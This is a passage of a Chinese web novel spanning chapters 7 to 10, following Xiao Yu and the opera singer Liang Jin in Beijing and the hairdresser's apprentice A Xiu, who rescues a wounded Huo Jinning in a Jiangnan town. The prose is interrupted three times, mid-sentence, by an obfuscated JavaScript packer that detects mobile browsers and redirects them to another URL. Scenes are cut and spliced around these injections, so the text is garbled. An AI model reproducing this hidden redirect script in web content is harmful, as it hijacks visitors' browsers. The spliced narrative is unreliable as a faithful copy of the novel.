只一碰,却像被烫了一样,从指尖到心口都是热得,热得鼻尖冒汗,热得心砰砰直跳。 终其此生,她永远记得这一面初见,哪怕日后她北上求学,寒窗苦读,哪怕她远渡重洋,万水千山,哪怕她茕茕孑立,形单影只。她也不曾忘记,她最初是为了什么走到今天。 只缘感君一回顾,使我思君暮与朝。 7. 第 7 章 霍锦宁在苏州忙里偷闲,萧瑜在北京也是不得消停。 自从与廖季生一拍即合,这些天里她是一直忙着戏楼的事,上顿和人谈生意,下顿和人看场子,又联系戏班子,又结交其他戏园经理东家,不说出去和往日旧友胡闹,就连喘口气的功夫都没有。 “姐姐,你最近好忙啊。” 萧珏端了一碗小吊梨汤来给她润喉,萧瑜叹了口气:“是啊。” 燕子胡同的四合院买下来,她连看都没来得及去看。 萧瑜站在她桌边看了半天她手里的文件稀奇的问: “姐姐,你看的这是什么,跟鬼画符一样?” “这是洋文,等你以后学了就能看懂了,如今想要做大买卖都要和洋人打交道,这洋文不会不行。” 萧瑜头疼的捏了捏额角,即便留学数年,洋文滚瓜烂熟,这些鬼画符依旧是她最讨厌的东西,没有之一。 霍锦宁是家中从小就有教习洋文的先生,当年让她跟着学,她偷懒不愿意,直到出国时还不会,到了国外,一下子成了聋子瞎子哑巴,那滋味可真不好受。 “你最近功课怎么样,先生教的都会吗?” 萧珏自小爹不疼娘不爱,连启蒙都没人教,如今重新给请了先生,还不算迟。 萧珏乖乖点头:“先生教的珏儿都学会了,先生还夸珏儿孺子可教。” “好,继续努力,珏儿要是这个月能把先生教的这本书都学完,我就带你出去玩。” “真的吗?”萧珏眼睛一下子亮了。 “真的,想去哪里?” 萧珏歪着头认认真真想了想,回答:“想去听戏,姐姐最喜欢听戏,珏儿也想去看看戏楼是什么样的。” “好,就带你去听戏!” 说起这个,打那天送梁瑾回家之后,萧瑜再没去戏楼听过戏,梁瑾倒是叫人来送过几回戏票,邀她去捧场。霍祥禀报她时,她甚至一时没反应过来: “云老板,哪个云老板?琉璃厂卖字画的?” 霍祥一拍脑门:“姑奶奶,牡丹亭那个——” “哦,想起来了。” 萧瑜了然,他那盏灯笼还在她书房挂着呢。 “霍祥,差人去送几个大花篮摆门口,不用多大,比那个朱千金的大就成。” 她确实没空去捧场了。 然而有缘之人,千回百转自然会碰见。 这日湖广会馆的东家在广合园组了一雅集,邀各界票友名角儿共赴曲会,萧瑜也得了一张帖子。 同好集会,少不了攀谈寒暄,萧瑜正应付着传说是司法总长未来九姨太的名旦白玉兰,有人走到她身边,低低唤了一声: “二小姐。” 萧瑜抬头一看,来人正是梁瑾,如蒙大赦一般热情招呼:“云老板,没想到你也来了,正是幸会幸会,快坐!今儿个这明前龙井味道极好,你且尝一尝。” 梁瑾应下,看了一眼一边的白玉兰,白玉兰也回瞪了一眼,悻悻起身,嗔怪道:“既然二小姐和云老板是旧识,玉兰也就不打扰了,先走一步。” 梁瑾在她的位置上坐下,不慌不忙拿起小厮新端的茶水啜饮了一口,轻笑了起来:“这碧螺春确实泡出来明前龙井的味儿来。” 萧瑜轻咳了一声,凑近他压低声音道:“这位绝对昨晚和总长抽狠了,一身福/寿/膏的味儿快熏死我了。” 在萧府闻着还不够,巴巴的出来还要继续闻,真叫闹心。 “时下都以这为时髦,上至达官显贵,下至贩夫走卒都好这口,二小姐不喜欢?” 萧瑜冷笑了一下:“时髦?不过是衣食无忧,吃饱了撑的没事干,闹得人不人鬼不鬼,还真以为能升了天?” 见梁瑾目光微诧异的看向她,萧瑜自知交浅言深,只打了个哈哈:“抽它多少费嗓子,到时候熏一口黄牙,登台亮相时可叫人贻笑大方。” 有梁瑾在旁,有一搭无一搭的闲聊,这时辰过得多少没那么难耐。 接近尾声之时,主持这曲会的湖广会馆张经理提道: “今日咱这雅集,难得‘梅兰竹菊’俱在,梅老板兰老板都开了腔,碧虚郎,你可不能再推辞!” “梅兰竹菊”指的是如今京城风头正盛的四大名角,梅老板和白玉兰二位是旦角,菊指的是老生金九华先生,竹便是这位唱小生的碧虚郎了。 这碧虚郎被点了名也不怯场,落落大方走上台,一抱拳: “承蒙各位老板前辈不嫌弃,小生便在此献丑了。” “碧虚郎想来哪一段?《群英会》如何?” “我今儿想唱《牡丹亭》。” 张经理乐了:“那杜丽娘不如——” 《牡丹亭》一提,众人不约而同把目光投向梁瑾身上,在座虽然名旦不少,梁瑾还排不上号,但若说这《牡丹亭》,满京城也再找不出一个艳压碧云天的杜丽娘。 于是,众望所归之下,梁瑾正要起身,却忽听碧虚郎说:“便请兰老板唱杜丽娘和小生对上一段儿吧!” 梁瑾一愣,众人皆是一愣。 那碧虚郎显然是早有预谋,看着梁瑾半坐不站,半尴不尬的样子,似笑非笑道: “这杜丽娘是端庄千金小姐,可不是以色侍人风尘女子,诸位都是懂戏之人,岂能被皮相所惑?依仗别个名气滥竽充数,到底是名不副实,如今别个另攀高枝,有些人还是不要出来自取其辱了。” 梁瑾脸色难看,他重重看了台上碧虚郎一眼,沉声道: “你说我不打紧,何必扯上我师姐?所谓君子如竹,在下今日算是见识到了!” 说罢,他就转身出了门。 众人神色各异,气氛尴尬中,萧瑜重重摔下了茶杯,皮笑肉不笑道: “话这么多,究竟唱不唱?这装腔作势的,你不如去唱褶子丑。” . 天空阴云密布,不知何时下起了雨夹雪,淅淅沥沥。 京城第一场春雨,就这样猝不及防的降临了。 梁瑾出了广合园,立在门口檐下,呆愣片刻,颇有些茫然,忽听身后有人道: “云老板,一道吧。” 梁瑾回首,愕然看向萧瑜: “二小姐,您怎么出来了?” 她微微一笑,接过霍祥递来的雨伞,走到他面前: “里面酸气冲天的,不如不听。《牡丹亭》没了你,我还真就不认别的杜丽娘。” 梁瑾动容,他定定注视她片刻,动了动唇,似乎 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15424870|169118||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 想说什么,终是笑叹了一句: “二小姐可有雅兴在雨中散步?” 出了广合园往北走,是中央公园,与紫禁城一墙之隔,隐隐能看见那红墙青瓦的巍峨宫殿。这里曾是前朝社稷坛,寻常百姓不敢靠近。民国之后,改成了公园,这才开始对普通民众开放。 初春时节,寒气未褪,前几日天光好,院中桃李杏花含苞待放,今日雨雪一落,恐怕又要冻死一大片。 两人共撑一把伞,并肩走在石子小路上,雨雪赏春花,也别有一番雅致。 萧瑜随口问道:“不知那碧虚郎怎么就看不惯你,你唱闺门旦,他唱扇子生,远日无怨近日无仇的,难不成是嫌你犯了他的名号?” “是他和师姐有龃龉,两年前他与师姐对台打擂,五五平手,最后一场《牡丹亭》,满堂喝彩,师姐拔得头筹。从此他就与师姐结下梁子,连带着也恨起我来。” “如此说来,是他技不如人,那这个‘竹君’也真够小心眼儿。”萧瑜无奈的摇了摇头。 这些口头上冷嘲热讽的把戏她向来不以为意,所谓争风吃醋之事,当真无趣。她从小在萧家宅子里长大,各方之间相互倾轧看过不少,半点也懒得掺合。如今他们这些小打小闹,她更是看不下眼。 “天下第一坤生娄小舟先生我早闻其名,可惜她唱/红大江南北那几年,我恰好在国外,好不容易回来了,她又嫁了人,真是可惜。” 娄小舟是梨园行当里巾帼不让须眉的女中豪杰,不少达官显贵想要娶她进门,最后她却嫁了一个浙江商贾人家,小富则安,至今京城公子哥们提起这件事,都少不了这一声扼腕。 “师姐说易得无价宝,难得有情郎,她不稀罕那些个钱权富贵。” 走到松柏交翠亭,二人依次走进,萧瑜想收伞,被梁瑾接过。 “我来。” 他收了雨伞,仔细的抖落上面雨雪,立在了柱边。 萧瑜回身在石椅上坐下,笑道:“你和你师姐关系倒是挺好。” 梁瑾不紧不慢道:“虽然不是从小一同长大,但师姐这几年对我多加照拂,她说我像他幼时溺死的弟弟。若无师姐提携,我也没有今天。” 萧瑜见他正襟危坐,隐隐拘谨,不禁笑了出来:“我不过随口一问,你紧张什么?我可不会像碧虚郎一样挤兑你。” “我自知并不是什么梨园翘楚,被人挤兑也无可厚非,只是不知二小姐是否也觉得我是以色侍人,名不副实?” 梁瑾一双凤目定定望向萧瑜,搭在桌上的手不自觉的握紧成拳,似乎连气息也屏住了,不像玩笑,倒像是一定要讨个说法。 萧瑜哑然失笑:“若说身段唱腔,你心里有数,用不着我来评断。你有个好皮相已然胜人家百倍,他有能耐还能重新投胎?我这人肤浅,皮相不好的我还看不上眼。” 园中落雪未歇,四周渺无人迹,只剩雨雪轻打花瓣枝芽的簌簌声,静得让人恍惚天地萧索,唯有眼前人,亭间雪,和雪中几株杏花而已。 “二小姐...不愧是在下知音。” 梁瑾凤眸低垂,再一眨眼抬眸时,脸上没笑,可眼中眉宇都温柔得让人心醉, “那就还请二小姐,一生一世都这样肤浅下去。” 8. 第 8 章 “阿绣!凤姑!在不在家?快开门——” 阿绣刚把晚饭端到桌子上,便听见门外有人把门板敲得叮当响,跑过去开门一看,原来是何老爷府上大太太身边的丫鬟阿珠。 “阿珠,你怎么来了?” 阿珠跑得上气不接下气:“凤姑在不在家?” “在的。” “大太太找凤姑来府上一趟,今晚老爷要招待贵客,出了点小岔子,现在赶着叫凤姑去救急呢!” 阿绣回头望向凤姑,凤姑不慌不忙放下碗筷,翻了个白眼,拉长调子说: “还看我干什么?拿上东西,走吧——” . 何老爷在镇上经营着一家缫丝厂,家境殷实,宅院气派,也是凤姑的老主顾。虽然赏钱给的多,可阿绣不喜欢到何府去做工,何老爷有四位太太,明争暗斗,争风吃醋,连梳发髻上也要争个长短,亏得凤姑巧舌如簧才能应对,每天都把四个太太伺候得不偏不倚。 到了何府,阿绣才知道,这回叫凤姑来,不是给太太梳头,而是给一个叫翠歌的女子。 翠歌是上个月何老爷从苏州带回来的名妓,唱得一手好评弹,今晚何老爷宴请贵客,让翠歌作陪,谁知翠歌梳洗打扮好正要赴宴,却被三太太的丫鬟阿莲不小心泼了一头水,一头小卷发惨淡的贴在头皮上。 她大吵大闹,不依不饶的要叫三太太给个说法,说她的头发是上海给明星做头的洋人师傅烫的,今天要是不能梳好,她宁可一头撞死了,也不去前厅。 大太太被她闹得没办法,这才找凤姑来救场。 凤姑人精一样,一看就明白来龙去脉了。 何老爷带翠歌回来,本就是打算纳为五姨太的,而翠歌又是个嚣张跋扈的性子,自然成为四位太太的眼中钉。今天这头,梳得好了,得罪四位太太,梳得不好了,得罪未来五姨太,真是为难。 屋子里翠歌一身宝石蓝绸缎的旗袍,坐在桌边,顶着一头惨淡的小卷,嫌弃的打量凤姑。其他四位太太各坐一边,或事不关己,或幸灾乐祸看好戏。 大太太发话:“凤姑,你实话实说,能不能梳这样的头?” 翠歌冷笑一声:“小地方乡巴佬也见过世面?” 凤姑不卑不亢道:“回太太话,这样的卷发确实稀奇,可也不是不能梳,太太知道我凤姑空凭一双手也能梳出卷发来,可是真不巧,我刚刚做饭划伤了手,怕是会弄脏了翠歌姑娘的头发。” 说完她伸出手了,果然见那双白胖灵巧的手上横着一道血淋淋的伤口。 阿绣站在旁边吓了一跳,刚刚还好好的,晚上做饭时凤姑明明一手没伸。她抬头仔细看了看,发现凤姑今早插在发髻上的那只银钗不见了。 大太太隐去了一丝笑意,佯怒道:“你早不伤晚不伤,怎么偏偏这个时候伤?现在怎么好,老爷的贵客马上就到了,没了翠歌,这宴席还怎么开场?” 翠歌扬手就把茶杯摔在了地上,气道:“不用演戏了,我看你们就是合伙来欺负我,我去告诉老爷!” “翠歌姑娘别急!”凤姑缓缓道:“我是不能动手,可是阿绣是我一手教出来的,我的本事她都会,她梳我在一边看着也是一样的。” 阿绣骤然被点了名,猛地抬头,发现屋中所有人的目光都聚集在了自己身上,不由得退后一步,无助的看向凤姑: “凤姑,我......” 大太太不像其他姨太,到底知道今晚宴席事关重大,虽然心里不痛快,但终究是退了一步,顺着凤姑的台阶下来,吩咐道:“既然这样,那就阿绣你来梳吧。” 凤姑把阿绣拉到身边悄声道:“傻姑娘,现在只有你来梳才能解这个局,平了大太太和翠歌的怒气,你是不是想我手上那道伤白受?别怕,我看着你,就像我平常教你那样。阿绣,你总是要出师的,往后我不在你身边,你一个人走的路还长着呢。” 阿绣抬头,看见凤姑脸上的凝重表情,有些害怕,也有些不解,有些念头一闪而过,她只觉得有些事情在这一刻开始变得不一样,她就要失去什么,离开什么,可她却什么也抓不住。 她在心里给自己打气,阿绣,凤姑说的对,你总是要出师的! “好,我梳。” 凤姑驳了翠歌面子,给了大太太面子,又给自己留了后路。阿绣来梳头,既救了急,也暗示着翠歌即便进了门,也终究比大太太低一等,一场风波就这么被轻易化解了。 这里面的弯弯道道,阿绣看不懂,她只是尽全力克制住发抖的手,回想平日里凤姑做的每一步,梳子沾刨花水疏通,左右固定头发,双手沾水,就这么一点,一点,推出波浪卷发,然后收拢,压花。 一头城里最摩登的手推波浪纹就成型了。 阿绣退开一步,松了一口气,这才发现自己已经出了一身冷汗。 翠歌对着镜子左右照照,倒也没为难她,不咸不淡的说了一声:“还行吧。” 往常阿绣都一声不吭跟着凤姑,今日大太太才正眼看了一下这个小姑娘,问凤姑: “你这外甥女儿多大了?” 凤姑回:“十四。” “可许了人家?” “还没有。” 大太太点了点头:“是个老实本分的孩子。” 随后大太太赏了二人用晚饭,后厨偏厅里,凤姑有些心不在焉,阿绣几次想和她说什么,她都没有理会。 终于,凤姑放下碗筷,“阿绣,我有事要先走一步,你一会儿吃完就一个人回家吧,晚上拴上门。” 阿绣问:“你不回去了?” “小孩子别乱问!” “可是......” 凤姑也不再理她,急匆匆就走了。 阿珠凑过来碰了碰发呆的阿绣:“想什么呢?快吃吧,这道糖醋鱼可好吃了,平常我看大太太吃,馋死了。” 阿绣这才回过神来,低头看了一眼,把盘子推过去:“一起吃啊,我自己也吃不下。” “真的吗?阿绣你真好!” 阿珠挨着她坐下,两个小姐妹亲亲密密的坐在一起,一边吃一边小声说话。 “阿绣你真厉害,什么时候我也能梳这么漂亮的头发就好了。” 阿绣脸红了红,“没有,阿珠你别取笑我了。” “哪里是取笑,你的手艺要是出去做工,很快就能攒够嫁妆了呢!老实说,阿绣你有没有心上人啊?” 阿绣眼前不期然闪过一个身影,等自己意识到想什么的时候,脸已经涨得通红,她几乎把头都埋在饭碗里,含糊道:“阿珠,你,你又没正经......” 阿珠习惯了她的脸皮薄,也没指望她回答什么,顾自道:“我跟你说,我可是要嫁个有钱的男人,最好能让我不用在何府做工了,我也要找小丫鬟伺候我,到时候就让阿绣来给我梳头发!” 小姐妹谈起这些,总是要笑着闹作一团,连饭也忘了吃。 “对了,阿绣,你知道老爷今晚宴请的是什么人吗?” 阿绣摇头。 阿珠神神秘秘道:“我听说啊,老爷的贵客,是一个从上海来的富家少爷,好像姓霍还是什么的,特别特别的有钱!” “有多有钱?”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15424871|169118||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “有钱到...有一百个老爷那么大的缫丝厂,有一百个翠歌那么漂亮的姨太太,有这间宅子一百个那么大的房子!” 阿绣推了推她:“阿珠净瞎说。” “真的真的,你不信,我们偷偷去看看!” “唉!”阿绣拉住阿珠,犹豫道:“不要了,要是被老爷太太知道了,肯定要责罚的。” “不打紧,我妹妹在前面伺候着,我们偷偷看一眼,看一眼就走,我还从来没见过从上海来的少爷长什么样呢!” 阿绣拗不过她,自己心里也起了小小的好奇,于是跟着阿珠轻手轻脚的偷偷跑到了前厅。 觥筹交错,笙歌燕舞,两个小丫头藏在锦绣屏风后面,小心翼翼的偷看。 只见贵宾席上坐着一个年轻男人,白色西服,英俊挺拔,向来眼高于顶的何老爷,对他毕恭毕敬,奉承不迭。 灯火摇曳间,阿绣看清了他的脸。 一瞬间,她的心跳得快要从胸口蹦出来。 . 霍锦宁啜饮着杯中的茉莉香片,听着耳边何老爷聒噪的夸夸其谈,颇有些意兴阑珊。 在笙溪镇上留了这几日,仔仔细细考察过了厂子,何老爷亲自带人加着小心陪前陪后,明早他便要动身回去了。 贫穷骤富的乡土豪绅,肚子里毫无墨水却偏要附庸风雅,若不是因为他府上二姨太和霍成宏的九姨太是远亲表姐妹,他也不会此时耐着性子敷衍。 交际应酬必不可少,但他向来不喜,要是在北京或上海,旁人见他这淡淡神色,早就识趣闭嘴,谁还像何老爷一样看不出半点眉眼高低。 偏生耳边还响着恼人的评弹,琵琶声铮铮入耳,吴侬细语一句也听不懂。幸亏汤普森日前已动身返沪,不然他那位不解风情的朋友,可能会直接睡倒在这里,来补晕船没睡好的眠。 曲声终停,霍锦宁不动声色的松了口气,道:“好曲。” 何老爷哈哈大笑:“翠歌,来见过霍少爷!” 翠歌放下琵琶,拨开珠帘,摇曳生姿走到霍锦宁面前,媚眼如丝,盈盈下拜: “翠歌见过霍少爷!” 霍锦宁但笑不语。 何老爷仍是孜孜不倦道:“霍少爷,这翠歌可是苏州城里数一数二的歌妓,霍少爷既然有意,不如叫她今夜去陪你——” 霍锦宁低头端起茶杯,唇边带笑,可眼底最后一丝温度也终于褪去。 按理说今晚这戏做到这份上,正应该顺理成章收了这女子,消除他们最后戒心,可惜他偏生不想如他这个意。 霍成宣有勇有谋,一辈子唯一纰漏就是个“色”字,霍家光有名分的姨娘就有一十七个,更不要提外面的莺莺燕燕,和府里沾过却没有名分的丫鬟。从小这些男欢女爱,他看都够了,自己没有半分兴趣。 少时与萧瑜廖季生出入八大胡同,从来都是依仗着未婚妻在场,理所当然推拒,而今分隔两地,还真有些遗憾。 这些年来,他们不知做了彼此多少的挡箭牌。 然而此刻却是懒得周旋,半点也不屑敷衍。 抬头刚要开口,忽而发现右手边屏风后露出半个小小的脑袋,一双乌溜溜的眼睛,怯生生的望着他。 见他发现,小脑袋噌的一下收了回去,如受惊的小动物一样,逃得无影无踪。 而何老爷还在滔滔不绝的夸耀翠歌的温柔伶俐,浑然不觉。 霍锦宁一顿,放下茶杯,只似笑非笑的撂下一句: “何老板有心了,只是我未婚妻是个烈性子,我要是在外面拈花惹草,她恐怕会一枪崩了我。” 9. 第 9 章 从何府出门时,天色已晚,还下起了雨,阿绣一手撑着阿珠借她的碧绿纸伞,一手提着一盏朱红纸灯,一个人沿着小巷回家。 虽然是从小长大的镇子,闭着眼都能数清哪条街,几片瓦,可是四周乌漆墨黑的,阿绣心里还是有点害怕。 只能握紧了手里的梳妆盒,小步快走,好像身后的黑夜里有什么看不见的野兽要冲出来一样。 喵——喵—— 淅沥沥的雨声里忽而传来若有若无的熟悉叫声,阿绣吓了一跳,站在原地不敢动,顺着声音的来源提起灯笼一照,定睛细看,不禁眉开眼笑,小跑了过去,抱起墙根底下的那只小灰猫。 “阿鱼阿鱼,你是在这里躲雨吗?还是...来接我回家的吗?” 阿鱼用头亲昵的蹭了蹭她,阿绣痒的格格笑了起来,把阿鱼抱高,让它蹲在自己的肩膀上。 “走吧,我们回家。” 有了阿鱼的陪伴,阿绣再也不害怕了,一猫一人就这样往家走去。 私心里恍然觉得这样的雨夜仿佛书中之境,大观园里宝玉去看黛玉之时,也是这般红灯碧伞,细雨暮霭,平白有了些诗意。 还有一条街就要到家了,阿绣不禁加快了脚步,笑眯眯对阿鱼说: “等回去我给你做小鱼干拌饭,凤姑今晚要迟些才回来…阿鱼,你去哪里?” 一直乖乖蹲在她肩上的阿鱼突然喵的一声跳了下来,头也不回的冲进夜色中。 阿绣下意识跟着追了过去,“阿鱼,回来!你去哪?” 一路追到了一条死胡同里,手里的灯火都被迎面的风雨打灭了,阿绣弯腰喘了一会儿,这才无奈的走了过去:“阿鱼你跑到这里干什么…” 她抱起湿漉漉的小猫,替它擦着身上的泥水,刚想埋怨它几句,忽听巷外传来一阵密集的脚步声,踩在地上泥水中,清晰而慌乱。 而后是呼喝声,尖叫声,打斗声,还有枪声...... 刺耳的巨响盖过了乱糟糟的喧嚣,却又转瞬湮灭在了雨声中,悄无声息。 滴答滴答,雨滴落在油纸伞上的声音,规律而轻细,越来越小,直到消失不见。 雨停了。 小巷恢复了原有的宁静,一切就像是午夜的一场噩梦,虚幻如空。 阿绣死死抱着猫咪,靠在墙角,小腿发软,不敢出声,过了好久,好久,才缓缓站了起来。 她颤抖着摸了摸怀里湿漉漉的阿鱼,低头亲了亲它小小的耳朵,用气音轻声问:“刚才,是我做梦吗?” “喵——” 阿鱼不能给她答案。 抢劫?亦或是斗殴?无论什么,阿鱼救了她一命。 老人家说,猫有灵性,也许是真的。 阿绣试探着,一步一步走到巷口,只见空荡荡的街上并无人影。 如今灯笼被风雨打灭了,四周黑乎乎一片,阿绣不敢久留,匆匆往家中跑去。 眼见家门就在眼前,忽而感觉脚下一绊,阿绣整个人摔了出去,一身泥水,晕头转向,缓了好半天,才勉强爬了起来。 “阿鱼——” 她小声唤着,这一摔将怀里的猫不知道摔去了哪里,她焦急的寻着,却不想一眼就看见了方才绊倒她的事物。 那是一个昏倒在墙边的人,他的肩部晕开大片鲜血,一动不动,生死不明。 乌云散去的皎洁月光,照在了他双目紧闭的英俊侧脸。 阿绣愣愣的站在原地,只觉今日今夜,当真虚幻如梦。 ...... 霍锦宁从何府回到下榻的住处路上,遇见了刺杀。很仓促的一次行动,因为对方没有做好他不留宿何府的准备。 但无论对方如何仓促,他都必须将计就计, 想要杀他的人是他三叔霍成宏,而希望他将计就计的人是他父亲霍成宣。 这是他和霍成宣事前计划好的赌局,赌注是隆海纱厂和他的命。不仅是利益熏心,这也是一场霍成宣试探他的戏。 霍成宣不喜他,防备他,质疑他,他若想获得父亲的信任,必是要以命为赌,献上这份忠心。 然而他也不是毫无准备,只是途中出了一些差错,下了雨,对方在路上就下手,并且还动了枪。 身边跟的人拼命相护,尽管逃了出来,但他还是受伤了。 没等来到安排好的藏身之处,他便晕倒过去,不省人事。 . 朦胧中感觉肩膀炽热的疼痛,整只左手臂彷如被火烤一般,一片冰凉抚上了额头,擦去了他冒出的冷汗。 霍锦宁下意识一把抓住那只手,而后睁开了双眼。 他身在一间寻常的民宅,躺在床上,窗外暗夜未明,屋内烛光摇曳。床边被他抓住手腕的小女孩,又惊又羞,支支吾吾,眼泪在眼眶里打转。 “你,你.......” 他眯起眼睛,低声道: “何家的...丫鬟?” 如果没有记错,何府宴席上,她躲在了屏风后面偷看,被他撞见了。 “我是阿绣,我、我只是何府的梳头娘姨。” “你救了我?” “嗯。” 阿绣的声音细弱蚊蝇,她抬头小心的看了他一眼,又迅速低下,“那天,你在长寿桥边,买了我的花......” 阿绣觉得自己一定是疯了,她不知他姓甚名谁,不知他来历身份,短短几天里,她第三次遇见这个男人,他身受重伤,倒在了她的家门口,她想也没想的便将他带回来了。 方才巷口那场混乱是因为他,他许是遇见了打劫或是寻仇,她不能见死不救,阿绣一遍遍的这样提醒着自己。 霍锦宁本是不曾上心哪年哪月在何处何地买了哪位姑娘的花之类,可见她低眉垂目,不经意便与脑海中一些支离碎片重合了起来。 他记得她发顶的小璇儿,和她眼角的小痣。 于是他松开手,轻笑了笑: “谢谢。” 阿绣揉了揉手腕,结结巴巴说:“不,不打紧,只是,你的伤......” 霍锦宁垂眸看去,只见肩部已经被干净的布条缠好了,但伤口全无处理,还在不停的渗血,他一动作,转瞬便殷红一片。 好在这不是枪伤,只是刀伤,但却够深,本是冲着他的脖子去的。 “家中可有伤药?” 阿绣一愣,摇了摇头,又急忙道:“我,我可以去药铺买!” “好,那便麻烦了。” 霍锦宁露出一个虚弱笑,“还劳烦你烧一壶热水,准备一坛烈酒,还有一些干净的白布......” 他失血过多,强撑着精神,嘱咐着她按照他的吩咐来做,此时此刻,他能指望的人,只有眼前这个小姑娘了。 阿绣连夜敲开了邻家药房的门,买了伤药,准备好了霍锦宁吩咐的东西,按照他的教导,替他一步步处理伤口。 等到手忙脚乱做完这一切,天已经亮了,而床上的人早已再次昏迷过去了。 阿绣手脚发软的坐在凳子上,紧张的情绪一旦褪去,疲惫便潮水般的涌了上来,她不禁趴在桌子上,迷迷糊糊的睡了过去。 再醒来时,已是晌午了。 昨夜那场光怪陆离的经历,支离破碎的出现在梦里,可这一切在睁眼看到床上躺着的那个人时,全部被证明了不是她的臆想。 阿绣趴在桌子上,呆呆的看了一会儿,心中一阵茫然,一阵疑惑,一阵害怕,却还有一阵隐隐的欣喜,连自己也不明白。 突然想起了什么,她几乎跳起来,手忙脚乱的跑出了门。 然而在屋里院里转了一圈,阿绣惊讶的发现,凤姑从昨晚到现在,一直没有回来。 不过凤姑常常留宿在小姐妹家中彻夜打牌,也不是什么稀奇事,阿绣怀着庆幸的心情去厨房做饭了。 待做好饭端到屋中,阿绣发现霍锦宁还没有醒,她犹豫了一下,凑过去打算叫醒他,却发现他脸色惨白,浑身滚烫。 他发烧了,昨夜他说过,这是最坏的结果。 阿绣一下子慌了神,困兽一样在屋里来回转了好几圈,她强迫自己镇定下来,慢慢回想昨晚他叮嘱过自己的话。 “用冷水冷敷,然后去买药......” 于是她急急忙忙用帕子洗了冷水敷在他额头,慌慌张张的出门去买药,而后回来煎药,一勺勺喂着霍锦宁喝下。 之前凤姑生病她照顾过,如今应付起来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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沈月娘走的那年,萧瑜九岁,他十一岁,第二年元月,民国政府成立。 霍成宣的原配夫人难产而死,长子五岁夭折,那年冬天,沈月娘进门做了续弦。 沈家祖籍江南,沈月娘幼时在江南温山软水间长大,与风沙干冷的京城那样格格不入,却也那样与众不同。她十五岁时,父亲故去,家道中落,与其母赴京投奔萧家,曾在萧家住过一段时日。 她是旧时闺阁千金,小家碧玉,胆小得一辈子连照片也没照过一张。霍锦宁永远也想不通,这样一个温婉贤淑的女子,如何有勇气与人私定终身,珠胎暗结,怀着他嫁进了霍家。 也许就像她时常给萧瑜讲得戏文里那样,情不知所起,一往而深,生者可以死,死可以生。生而不可与死,死而不可复生者,皆非情之至也。 虽然各自嫁娶,今生无缘,但沈月娘对萧瑜极好,不知是否因为她是萧子显的女儿。 萧瑜两岁,母亲抛夫弃子去国离家,从此沈月娘便是萧瑜的娘。 霍成宣喜新厌旧,沈月娘产子之后就失了宠,她倒也不愿意和院子里妾室姨娘争奇斗艳,只一心一意照顾着霍锦宁和萧瑜。 他七岁那年,生了天花,高烧不退,上吐下泻,被父亲送到别庄隔离,只有沈月娘亲力亲为,不辞辛苦的照顾着他。 萧瑜和婶娘上香的路上,听见下人的议论,撒泼打滚的要来找他,被不怀好意的三婶婶送了过来。 她一看见霍锦宁就扑到他身上,死命的往他被子里钻,哭着喊着要和他死在一起。 那年她还没剪小子头,穿着粉嫩的袄裙,辫着两根小辫子,蹭得他颈间发痒,明明气息奄奄,却还是笑出来了。 萧瑜人小体弱,果然也被传染上了,与他一同躺在床上,病痛折磨,哼哼唧唧。要不是有沈月娘没日没夜的照看,也许他和她真就死在了一起。那些辗转反侧,生死挣扎的夜里,耳边沈月娘哼唱着的,依稀就是这首小曲儿。 即便今生有缘无分,但鬼门关前走一遭,从此他俩的命连在一块,与夫妻,与兄妹,都没关系。 10. 第 10 章 这日起早,金环给萧瑜煮了一碗素面,清汤白面,淋上麻油,撒上翠绿的葱花,还卧了个流黄的荷包蛋。 “今儿个什么日子,怎么煮了面?你家小姐我可是最不爱吃面条的。” 金环抿嘴一笑:“可是今天得吃,小姐,今天是你生辰,您忘了吗?” 萧瑜恍然,笑道:“是忘了,但忘了也没什么,不老不小的过什么生日?” 早先沈月娘活着的时候,年年她生辰,沈月娘都会给她封红包,煮红皮鸡蛋,自从沈月娘走后,她很多年没过生日了。 “要过,要过!先生说西方人年年都过生日,尤其是年轻女孩子!” 萧珏这段时间瘦削的小脸上长了肉,人也活泼不少,他凑到萧瑜跟前,把自己写的百寿图送给她:“姐姐生日快乐!珏儿祝姐姐长命百岁,天天开心!” “这祝词可一点也不押韵。”萧瑜端详了片刻萧珏写的字,评价道:“写的不错,先生还教你什么了?” “先生还说西洋的小姐过生日都要请朋友到家中聚会,叫‘派对’,还要有生日蛋糕,是奶油的,奶油就是......”萧珏皱起小脸,绞尽脑汁的想了想: “就是甜甜的,软软的,和天上的白云一样!” “我看你是自己想吃蛋糕了吧!”萧瑜伸指点了点他的头,萧珏不好意思的捂着脸。 “得,聚会就免了,待会儿我让小六子去街上买个奶油蛋糕去,那玩意甜腻腻的,估计你吃一次就知道白云是什么味道了。” 萧珏雀跃欢呼:“姐姐最好了!” “二小姐,少爷那边来信儿了——” 霍祥双手捧着一个天鹅绒的锦盒,过来禀报。 “什么信儿啊?他一走两个月,一句话没有,眼看就入夏了,不知道还以为被哪朵小野花勾走了魂儿呢。” 